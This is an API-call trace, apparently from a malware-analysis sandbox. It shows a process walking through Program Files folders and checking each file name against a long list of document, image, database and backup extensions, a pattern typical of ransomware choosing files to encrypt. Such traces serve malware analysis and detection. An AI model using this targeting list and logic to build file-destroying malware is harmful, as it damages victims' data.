nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.617] FindNextFileW (in: hFindFile=0x3931888, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0039.617] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3fc7e30 [0039.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931988 [0039.618] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.618] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0039.618] FindClose (in: hFindFile=0x3931988 | out: hFindFile=0x3931988) returned 1 [0039.618] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0039.618] FindNextFileW (in: hFindFile=0x3931888, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0039.618] FindClose (in: hFindFile=0x3931888 | out: hFindFile=0x3931888) returned 1 [0039.618] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3ef2df0 | out: hHeap=0x5f0000) returned 1 [0039.620] FindNextFileW (in: hFindFile=0x3931908, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0039.620] FindClose (in: hFindFile=0x3931908 | out: hFindFile=0x3931908) returned 1 [0039.620] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3ee2de8 | out: hHeap=0x5f0000) returned 1 [0039.621] FindNextFileW (in: hFindFile=0x3931848, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0039.621] FindClose (in: hFindFile=0x3931848 | out: hFindFile=0x3931848) returned 1 [0039.621] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0039.621] FindNextFileW (in: hFindFile=0x39317c8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0039.621] FindClose (in: hFindFile=0x39317c8 | out: hFindFile=0x39317c8) returned 1 [0039.621] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0039.622] FindNextFileW (in: hFindFile=0x3931788, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f01c4b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f01c4b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0039.622] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0039.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f01c4b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f01c4b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39317c8 [0039.641] FindNextFileW (in: hFindFile=0x39317c8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f01c4b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f01c4b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.641] FindNextFileW (in: hFindFile=0x39317c8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0040.636] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x3fd7e38, Size=0x80000) returned 0x4310020 [0040.780] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1 [0040.780] lstrlenW (lpString="SL00260_.WMF") returned 12 [0040.780] lstrlenW (lpString=".1cd") returned 4 [0040.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0040.780] lstrlenW (lpString=".3ds") returned 4 [0040.780] lstrcmpiW (lpString1=".3ds", lpString2=".WMF") returned -1 [0040.780] lstrlenW (lpString=".3fr") returned 4 [0040.780] lstrcmpiW (lpString1=".3fr", lpString2=".WMF") returned -1 [0040.780] lstrlenW (lpString=".3g2") returned 4 [0040.780] lstrcmpiW (lpString1=".3g2", lpString2=".WMF") returned -1 [0040.780] lstrlenW (lpString=".3gp") returned 4 [0040.780] lstrcmpiW (lpString1=".3gp", lpString2=".WMF") returned -1 [0040.780] lstrlenW (lpString=".7z") returned 3 [0040.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0040.780] lstrlenW (lpString=".accda") returned 6 [0040.781] lstrcmpiW (lpString1=".accda", lpString2="0_.WMF") returned -1 [0040.781] lstrlenW (lpString=".accdb") returned 6 [0040.781] lstrcmpiW (lpString1=".accdb", lpString2="0_.WMF") returned -1 [0040.781] lstrlenW (lpString=".accdc") returned 6 [0040.781] lstrcmpiW (lpString1=".accdc", lpString2="0_.WMF") returned -1 [0040.781] lstrlenW (lpString=".accde") returned 6 [0040.781] lstrcmpiW (lpString1=".accde", lpString2="0_.WMF") returned -1 [0040.781] lstrlenW (lpString=".accdt") returned 6 [0040.781] lstrcmpiW (lpString1=".accdt", lpString2="0_.WMF") returned -1 [0040.781] lstrlenW (lpString=".accdw") returned 6 [0040.781] lstrcmpiW (lpString1=".accdw", lpString2="0_.WMF") returned -1 [0040.781] lstrlenW (lpString=".adb") returned 4 [0040.781] lstrcmpiW (lpString1=".adb", lpString2=".WMF") returned -1 [0040.781] lstrlenW (lpString=".adp") returned 4 [0040.781] lstrcmpiW (lpString1=".adp", lpString2=".WMF") returned -1 [0040.781] lstrlenW (lpString=".ai") returned 3 [0040.781] lstrcmpiW (lpString1=".ai", lpString2="WMF") returned -1 [0040.781] lstrlenW (lpString=".ai3") returned 4 [0040.781] lstrcmpiW (lpString1=".ai3", lpString2=".WMF") returned -1 [0040.781] lstrlenW (lpString=".ai4") returned 4 [0040.781] lstrcmpiW (lpString1=".ai4", lpString2=".WMF") returned -1 [0040.781] lstrlenW (lpString=".ai5") returned 4 [0040.781] lstrcmpiW (lpString1=".ai5", lpString2=".WMF") returned -1 [0040.781] lstrlenW (lpString=".ai6") returned 4 [0040.781] lstrcmpiW (lpString1=".ai6", lpString2=".WMF") returned -1 [0040.781] lstrlenW (lpString=".ai7") returned 4 [0040.781] lstrcmpiW (lpString1=".ai7", lpString2=".WMF") returned -1 [0040.781] lstrlenW (lpString=".ai8") returned 4 [0040.781] lstrcmpiW (lpString1=".ai8", lpString2=".WMF") returned -1 [0040.781] lstrlenW (lpString=".anim") returned 5 [0040.781] lstrcmpiW (lpString1=".anim", lpString2="_.WMF") returned -1 [0040.781] lstrlenW (lpString=".arw") returned 4 [0040.781] lstrcmpiW (lpString1=".arw", lpString2=".WMF") returned -1 [0040.781] lstrlenW (lpString=".as") returned 3 [0040.781] lstrcmpiW (lpString1=".as", lpString2="WMF") returned -1 [0040.781] lstrlenW (lpString=".asa") returned 4 [0040.782] lstrcmpiW (lpString1=".asa", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".asc") returned 4 [0040.782] lstrcmpiW (lpString1=".asc", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".ascx") returned 5 [0040.782] lstrcmpiW (lpString1=".ascx", lpString2="_.WMF") returned -1 [0040.782] lstrlenW (lpString=".asm") returned 4 [0040.782] lstrcmpiW (lpString1=".asm", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".asmx") returned 5 [0040.782] lstrcmpiW (lpString1=".asmx", lpString2="_.WMF") returned -1 [0040.782] lstrlenW (lpString=".asp") returned 4 [0040.782] lstrcmpiW (lpString1=".asp", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".aspx") returned 5 [0040.782] lstrcmpiW (lpString1=".aspx", lpString2="_.WMF") returned -1 [0040.782] lstrlenW (lpString=".asr") returned 4 [0040.782] lstrcmpiW (lpString1=".asr", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".asx") returned 4 [0040.782] lstrcmpiW (lpString1=".asx", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".avi") returned 4 [0040.782] lstrcmpiW (lpString1=".avi", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".avs") returned 4 [0040.782] lstrcmpiW (lpString1=".avs", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".backup") returned 7 [0040.782] lstrcmpiW (lpString1=".backup", lpString2="60_.WMF") returned -1 [0040.782] lstrlenW (lpString=".bak") returned 4 [0040.782] lstrcmpiW (lpString1=".bak", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".bay") returned 4 [0040.782] lstrcmpiW (lpString1=".bay", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".bd") returned 3 [0040.782] lstrcmpiW (lpString1=".bd", lpString2="WMF") returned -1 [0040.782] lstrlenW (lpString=".bin") returned 4 [0040.782] lstrcmpiW (lpString1=".bin", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".bmp") returned 4 [0040.782] lstrcmpiW (lpString1=".bmp", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".bz2") returned 4 [0040.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0040.782] lstrlenW (lpString=".c") returned 2 [0040.782] lstrcmpiW (lpString1=".c", lpString2="MF") returned -1 [0040.783] lstrlenW (lpString=".cdr") returned 4 [0040.783] lstrcmpiW (lpString1=".cdr", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".cer") returned 4 [0040.783] lstrcmpiW (lpString1=".cer", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".cf") returned 3 [0040.783] lstrcmpiW (lpString1=".cf", lpString2="WMF") returned -1 [0040.783] lstrlenW (lpString=".cfc") returned 4 [0040.783] lstrcmpiW (lpString1=".cfc", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".cfm") returned 4 [0040.783] lstrcmpiW (lpString1=".cfm", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".cfml") returned 5 [0040.783] lstrcmpiW (lpString1=".cfml", lpString2="_.WMF") returned -1 [0040.783] lstrlenW (lpString=".cfu") returned 4 [0040.783] lstrcmpiW (lpString1=".cfu", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".chm") returned 4 [0040.783] lstrcmpiW (lpString1=".chm", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".cin") returned 4 [0040.783] lstrcmpiW (lpString1=".cin", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".class") returned 6 [0040.783] lstrcmpiW (lpString1=".class", lpString2="0_.WMF") returned -1 [0040.783] lstrlenW (lpString=".clx") returned 4 [0040.783] lstrcmpiW (lpString1=".clx", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".config") returned 7 [0040.783] lstrcmpiW (lpString1=".config", lpString2="60_.WMF") returned -1 [0040.783] lstrlenW (lpString=".cpp") returned 4 [0040.783] lstrcmpiW (lpString1=".cpp", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".cr2") returned 4 [0040.783] lstrcmpiW (lpString1=".cr2", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".crt") returned 4 [0040.783] lstrcmpiW (lpString1=".crt", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".crw") returned 4 [0040.783] lstrcmpiW (lpString1=".crw", lpString2=".WMF") returned -1 [0040.783] lstrlenW (lpString=".cs") returned 3 [0040.783] lstrcmpiW (lpString1=".cs", lpString2="WMF") returned -1 [0040.783] lstrlenW (lpString=".css") returned 4 [0040.783] lstrcmpiW (lpString1=".css", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".csv") returned 4 [0040.784] lstrcmpiW (lpString1=".csv", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".cub") returned 4 [0040.784] lstrcmpiW (lpString1=".cub", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".dae") returned 4 [0040.784] lstrcmpiW (lpString1=".dae", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".dat") returned 4 [0040.784] lstrcmpiW (lpString1=".dat", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".db") returned 3 [0040.784] lstrcmpiW (lpString1=".db", lpString2="WMF") returned -1 [0040.784] lstrlenW (lpString=".dbf") returned 4 [0040.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".dbx") returned 4 [0040.784] lstrcmpiW (lpString1=".dbx", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".dc3") returned 4 [0040.784] lstrcmpiW (lpString1=".dc3", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".dcm") returned 4 [0040.784] lstrcmpiW (lpString1=".dcm", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".dcr") returned 4 [0040.784] lstrcmpiW (lpString1=".dcr", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".der") returned 4 [0040.784] lstrcmpiW (lpString1=".der", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".dib") returned 4 [0040.784] lstrcmpiW (lpString1=".dib", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".dic") returned 4 [0040.784] lstrcmpiW (lpString1=".dic", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".dif") returned 4 [0040.784] lstrcmpiW (lpString1=".dif", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".divx") returned 5 [0040.784] lstrcmpiW (lpString1=".divx", lpString2="_.WMF") returned -1 [0040.784] lstrlenW (lpString=".djvu") returned 5 [0040.784] lstrcmpiW (lpString1=".djvu", lpString2="_.WMF") returned -1 [0040.784] lstrlenW (lpString=".dng") returned 4 [0040.784] lstrcmpiW (lpString1=".dng", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".doc") returned 4 [0040.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0040.784] lstrlenW (lpString=".docm") returned 5 [0040.784] lstrcmpiW (lpString1=".docm", lpString2="_.WMF") returned -1 [0040.784] lstrlenW (lpString=".docx") returned 5 [0040.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0040.785] lstrlenW (lpString=".dot") returned 4 [0040.785] lstrcmpiW (lpString1=".dot", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".dotm") returned 5 [0040.785] lstrcmpiW (lpString1=".dotm", lpString2="_.WMF") returned -1 [0040.785] lstrlenW (lpString=".dotx") returned 5 [0040.785] lstrcmpiW (lpString1=".dotx", lpString2="_.WMF") returned -1 [0040.785] lstrlenW (lpString=".dpx") returned 4 [0040.785] lstrcmpiW (lpString1=".dpx", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".dqy") returned 4 [0040.785] lstrcmpiW (lpString1=".dqy", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".dsn") returned 4 [0040.785] lstrcmpiW (lpString1=".dsn", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".dt") returned 3 [0040.785] lstrcmpiW (lpString1=".dt", lpString2="WMF") returned -1 [0040.785] lstrlenW (lpString=".dtd") returned 4 [0040.785] lstrcmpiW (lpString1=".dtd", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".dwg") returned 4 [0040.785] lstrcmpiW (lpString1=".dwg", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".dwt") returned 4 [0040.785] lstrcmpiW (lpString1=".dwt", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".dx") returned 3 [0040.785] lstrcmpiW (lpString1=".dx", lpString2="WMF") returned -1 [0040.785] lstrlenW (lpString=".dxf") returned 4 [0040.785] lstrcmpiW (lpString1=".dxf", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".edml") returned 5 [0040.785] lstrcmpiW (lpString1=".edml", lpString2="_.WMF") returned -1 [0040.785] lstrlenW (lpString=".efd") returned 4 [0040.785] lstrcmpiW (lpString1=".efd", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".elf") returned 4 [0040.785] lstrcmpiW (lpString1=".elf", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".emf") returned 4 [0040.785] lstrcmpiW (lpString1=".emf", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".emz") returned 4 [0040.785] lstrcmpiW (lpString1=".emz", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".epf") returned 4 [0040.785] lstrcmpiW (lpString1=".epf", lpString2=".WMF") returned -1 [0040.785] lstrlenW (lpString=".eps") returned 4 [0040.785] lstrcmpiW (lpString1=".eps", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".epsf") returned 5 [0040.786] lstrcmpiW (lpString1=".epsf", lpString2="_.WMF") returned -1 [0040.786] lstrlenW (lpString=".epsp") returned 5 [0040.786] lstrcmpiW (lpString1=".epsp", lpString2="_.WMF") returned -1 [0040.786] lstrlenW (lpString=".erf") returned 4 [0040.786] lstrcmpiW (lpString1=".erf", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".exr") returned 4 [0040.786] lstrcmpiW (lpString1=".exr", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".f4v") returned 4 [0040.786] lstrcmpiW (lpString1=".f4v", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".fido") returned 5 [0040.786] lstrcmpiW (lpString1=".fido", lpString2="_.WMF") returned -1 [0040.786] lstrlenW (lpString=".flm") returned 4 [0040.786] lstrcmpiW (lpString1=".flm", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".flv") returned 4 [0040.786] lstrcmpiW (lpString1=".flv", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".frm") returned 4 [0040.786] lstrcmpiW (lpString1=".frm", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".fxg") returned 4 [0040.786] lstrcmpiW (lpString1=".fxg", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".geo") returned 4 [0040.786] lstrcmpiW (lpString1=".geo", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".gif") returned 4 [0040.786] lstrcmpiW (lpString1=".gif", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".grs") returned 4 [0040.786] lstrcmpiW (lpString1=".grs", lpString2=".WMF") returned -1 [0040.786] lstrlenW (lpString=".gz") returned 3 [0040.786] lstrcmpiW (lpString1=".gz", lpString2="WMF") returned -1 [0040.786] lstrlenW (lpString=".h") returned 2 [0040.786] lstrcmpiW (lpString1=".h", lpString2="MF") returned -1 [0040.786] lstrlenW (lpString=".hdr") returned 4 [0040.786] lstrcmpiW (lpString1=".hdr", lpString2=".WMF") returned -1 [0040.787] lstrlenW (lpString=".hpp") returned 4 [0040.787] lstrcmpiW (lpString1=".hpp", lpString2=".WMF") returned -1 [0040.787] lstrlenW (lpString=".hta") returned 4 [0040.787] lstrcmpiW (lpString1=".hta", lpString2=".WMF") returned -1 [0040.787] lstrlenW (lpString=".htc") returned 4 [0040.787] lstrcmpiW (lpString1=".htc", lpString2=".WMF") returned -1 [0040.787] lstrlenW (lpString=".htm") returned 4 [0040.787] lstrcmpiW (lpString1=".htm", lpString2=".WMF") returned -1 [0040.787] lstrlenW (lpString=".html") returned 5 [0040.787] lstrcmpiW (lpString1=".html", lpString2="_.WMF") returned -1 [0040.787] lstrlenW (lpString=".icb") returned 4 [0040.787] lstrcmpiW (lpString1=".icb", lpString2=".WMF") returned -1 [0040.787] lstrlenW (lpString=".ics") returned 4 [0040.787] lstrcmpiW (lpString1=".ics", lpString2=".WMF") returned -1 [0040.787] lstrlenW (lpString=".iff") returned 4 [0040.787] lstrcmpiW (lpString1=".iff", lpString2=".WMF") returned -1 [0040.787] lstrlenW (lpString=".inc") returned 4 [0040.787] lstrcmpiW (lpString1=".inc", lpString2=".WMF") returned -1 [0040.787] lstrlenW (lpString=".indd") returned 5 [0040.787] lstrcmpiW (lpString1=".indd", lpString2="_.WMF") returned -1 [0040.787] lstrlenW (lpString=".ini") returned 4 [0040.787] lstrcmpiW (lpString1=".ini", lpString2=".WMF") returned -1 [0040.787] lstrlenW (lpString=".iqy") returned 4 [0040.787] lstrcmpiW (lpString1=".iqy", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".j2c") returned 4 [0040.788] lstrcmpiW (lpString1=".j2c", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".j2k") returned 4 [0040.788] lstrcmpiW (lpString1=".j2k", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".java") returned 5 [0040.788] lstrcmpiW (lpString1=".java", lpString2="_.WMF") returned -1 [0040.788] lstrlenW (lpString=".jp2") returned 4 [0040.788] lstrcmpiW (lpString1=".jp2", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".jpc") returned 4 [0040.788] lstrcmpiW (lpString1=".jpc", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".jpe") returned 4 [0040.788] lstrcmpiW (lpString1=".jpe", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".jpeg") returned 5 [0040.788] lstrcmpiW (lpString1=".jpeg", lpString2="_.WMF") returned -1 [0040.788] lstrlenW (lpString=".jpf") returned 4 [0040.788] lstrcmpiW (lpString1=".jpf", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".jpg") returned 4 [0040.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".jpx") returned 4 [0040.788] lstrcmpiW (lpString1=".jpx", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".js") returned 3 [0040.788] lstrcmpiW (lpString1=".js", lpString2="WMF") returned -1 [0040.788] lstrlenW (lpString=".jsf") returned 4 [0040.788] lstrcmpiW (lpString1=".jsf", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".json") returned 5 [0040.788] lstrcmpiW (lpString1=".json", lpString2="_.WMF") returned -1 [0040.788] lstrlenW (lpString=".jsp") returned 4 [0040.788] lstrcmpiW (lpString1=".jsp", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".kdc") returned 4 [0040.788] lstrcmpiW (lpString1=".kdc", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".kmz") returned 4 [0040.788] lstrcmpiW (lpString1=".kmz", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".kwm") returned 4 [0040.788] lstrcmpiW (lpString1=".kwm", lpString2=".WMF") returned -1 [0040.788] lstrlenW (lpString=".lasso") returned 6 [0040.789] lstrcmpiW (lpString1=".lasso", lpString2="0_.WMF") returned -1 [0040.789] lstrlenW (lpString=".lbi") returned 4 [0040.789] lstrcmpiW (lpString1=".lbi", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".lgf") returned 4 [0040.789] lstrcmpiW (lpString1=".lgf", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".lgp") returned 4 [0040.789] lstrcmpiW (lpString1=".lgp", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".log") returned 4 [0040.789] lstrcmpiW (lpString1=".log", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".m1v") returned 4 [0040.789] lstrcmpiW (lpString1=".m1v", lpString2=".WMF") returned -1 [0040.789] lstrlenW (lpString=".m4a") returned 4 [0040.789] lstrcmpiW (lpString1=".m4a", lpString2=".WMF") returned -1 